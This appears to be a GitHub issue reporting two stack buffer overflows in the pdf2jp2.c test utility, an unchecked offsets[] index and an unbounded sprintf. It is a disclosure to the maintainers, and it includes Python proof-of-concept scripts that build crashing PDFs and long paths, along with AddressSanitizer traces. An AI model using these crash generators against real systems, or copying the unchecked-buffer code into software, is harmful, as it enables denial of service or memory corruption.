-
Notifications
You must be signed in to change notification settings - Fork 498
Description
Hi team,
I found two stack buffer overflow vulnerabilities in tests/pdf2jp2.c. Both can be triggered by malicious input and detected by AddressSanitizer.
Summary
| Vulnerability | Location | Type | Severity |
|---|---|---|---|
| offsets[] array overflow | pdf2jp2.c:88 | Stack Buffer Overflow | High |
| sprintf() overflow | pdf2jp2.c:121 | Stack Buffer Overflow | High |
Vulnerability 1: offsets[] Array Overflow
Description
The offsets[NUMJP2] array has a fixed size of 32 elements, but there is no bounds checking when writing to it. If a PDF file contains more than 32 "JPXDecode" markers, the program will write beyond the array boundary, causing a stack buffer overflow.
Vulnerable Code
#define NUMJP2 32
long offsets[NUMJP2]; // line 55
// ...
if( ret )
{
// No bounds check for 'c' before writing!
offsets[c++] = (ptrdiff_t)cpos - (ptrdiff_t)hlen + diff; // line 88
}PoC
#!/usr/bin/env python3
"""
PoC for offsets[] array overflow in pdf2jp2.c:88
Triggers stack buffer overflow when PDF contains >32 JPXDecode markers
"""
import os
def generate_malicious_pdf(output_path, num_jpxdecode=64):
content = b"%PDF-1.4\n"
# Each JPXDecode must be spaced >4096 bytes apart (BUFLEN)
# to ensure each one is found in a separate fread() call
padding_size = 4100
for i in range(num_jpxdecode):
obj = f"{i+1} 0 obj\n<</Filter/JPXDecode]/Length 10/Width 100/Height 100>>\nstream\nAAAAAAAA\nendstream\nendobj\n"
obj_bytes = obj.encode()
padding = b"%" + b"X" * (padding_size - len(obj_bytes) - 2) + b"\n"
content += obj_bytes + padding
content += b"\nxref\n0 1\n0000000000 65535 f \ntrailer\n<</Size 1>>\nstartxref\n0\n%%EOF\n"
with open(output_path, 'wb') as f:
f.write(content)
print(f"[+] Generated malicious PDF with {num_jpxdecode} JPXDecode markers")
print(f"[+] File size: {os.path.getsize(output_path)} bytes")
if __name__ == "__main__":
generate_malicious_pdf("poc_offsets_overflow.pdf", 64)Crash Output (ASAN)
$ gcc -fsanitize=address -g -O0 tests/pdf2jp2.c -o pdf2jp2_asan
$ python3 poc.py
$ ./pdf2jp2_asan poc_offsets_overflow.pdf
=================================================================
==3316415==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcef46c580 at pc 0x5e42f4b7a8d6 bp 0x7ffcef46c390 sp 0x7ffcef46c380
WRITE of size 8 at 0x7ffcef46c580 thread T0
#0 0x5e42f4b7a8d5 in main tests/pdf2jp2.c:88
#1 0x7839a0a29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#2 0x7839a0a29e3f in __libc_start_main_impl ../csu/libc-start.c:392
#3 0x5e42f4b7a444 in _start (/path/to/pdf2jp2_asan+0x2444)
Address 0x7ffcef46c580 is located in stack of thread T0 at offset 320 in frame
#0 0x5e42f4b7a518 in main tests/pdf2jp2.c:52
This frame has 7 object(s):
[48, 52) 'len' (line 98)
[64, 320) 'offsets' (line 55) <== Memory access at offset 320 overflows this variable
[384, 392) 'needle2' (line 112)
[416, 426) 'needle' (line 62)
[448, 960) 'buffer' (line 56)
[1024, 1536) 'jp2fn' (line 120)
[1600, 5696) 'haystack' (line 61)
SUMMARY: AddressSanitizer: stack-buffer-overflow tests/pdf2jp2.c:88 in main
==3316415==ABORTING
Root Cause
The loop that searches for "JPXDecode" markers has no upper bound check on the counter c. When more than 32 markers are found, offsets[c++] writes past the end of the 32-element array, corrupting adjacent stack variables.
Vulnerability 2: sprintf() Buffer Overflow
Description
The sprintf() call at line 121 writes to a fixed-size buffer jp2fn[512], but the filename comes from command-line argument argv[1] with no length validation. If the filename exceeds ~500 bytes, the buffer overflows.
Vulnerable Code
char jp2fn[512]; // line 120
sprintf( jp2fn, "%s.%d.jp2", filename, i ); // line 121 - No length check!PoC
#!/usr/bin/env python3
"""
PoC for sprintf() buffer overflow in pdf2jp2.c:121
Triggers stack buffer overflow with long filename (>500 bytes)
"""
import os
def create_poc(base_dir):
# Create deeply nested directories to achieve path length > 512 bytes
nested_dir = os.path.join(base_dir, "nested")
os.makedirs(nested_dir, exist_ok=True)
current_path = nested_dir
dir_name = "A" * 50
# Build path until it exceeds 500 bytes
while len(current_path) < 500:
current_path = os.path.join(current_path, dir_name)
os.makedirs(current_path, exist_ok=True)
# Create a valid PDF with JPXDecode
pdf_content = b"""%PDF-1.4
1 0 obj
<</Type/XObject/Subtype/Image/Filter/JPXDecode]/Length 10/Width 100/Height 100>>
stream
AAAAAAAAAA
endstream
endobj
xref
0 1
0000000000 65535 f
trailer
<</Size 1>>
startxref
0
%%EOF
"""
pdf_path = os.path.join(current_path, "poc.pdf")
with open(pdf_path, 'wb') as f:
f.write(pdf_content)
print(f"[+] Created PDF with path length: {len(pdf_path)} bytes")
print(f"[+] Path: {pdf_path}")
return pdf_path
if __name__ == "__main__":
create_poc(".")Crash Output (ASAN)
$ ./pdf2jp2_asan '/path/to/nested/AAA.../AAA.../poc.pdf'
=================================================================
==3314050==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7edf56400600 at pc 0x7edf5985f04f bp 0x7ffff3b47600 sp 0x7ffff3b46d90
WRITE of size 515 at 0x7edf56400600 thread T0
#0 0x7edf5985f04e in __interceptor_vsprintf sanitizer_common_interceptors.inc:1687
#1 0x7edf5985f27e in __interceptor_sprintf sanitizer_common_interceptors.inc:1730
#2 0x5e8bb7961cde in main tests/pdf2jp2.c:121
#3 0x7edf59429d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#4 0x7edf59429e3f in __libc_start_main_impl ../csu/libc-start.c:392
#5 0x5e8bb7961444 in _start (/path/to/pdf2jp2_asan+0x2444)
Address 0x7edf56400600 is located in stack of thread T0 at offset 1536 in frame
#0 0x5e8bb7961518 in main tests/pdf2jp2.c:52
This frame has 7 object(s):
[48, 52) 'len' (line 98)
[64, 320) 'offsets' (line 55)
[384, 392) 'needle2' (line 112)
[416, 426) 'needle' (line 62)
[448, 960) 'buffer' (line 56)
[1024, 1536) 'jp2fn' (line 120) <== Memory access at offset 1536 overflows this variable
[1600, 5696) 'haystack' (line 61)
SUMMARY: AddressSanitizer: stack-buffer-overflow in __interceptor_sprintf
Root Cause
The sprintf() function does not perform bounds checking. When the combined length of filename + ".%d.jp2" exceeds 512 bytes, it writes past the end of jp2fn, corrupting adjacent stack memory.
Environment
- OS: Linux (Ubuntu)
- Compiler: GCC with AddressSanitizer
- Compile flags:
-fsanitize=address -fno-omit-frame-pointer -g -O0
Impact
Both vulnerabilities allow stack buffer overflow which could potentially lead to:
- Denial of Service (crash)
- Arbitrary code execution (if exploited)
While pdf2jp2.c appears to be a test/utility tool rather than a core library component, these vulnerabilities could still pose security risks if the tool is used to process untrusted PDF files.
Let me know if you need any additional information!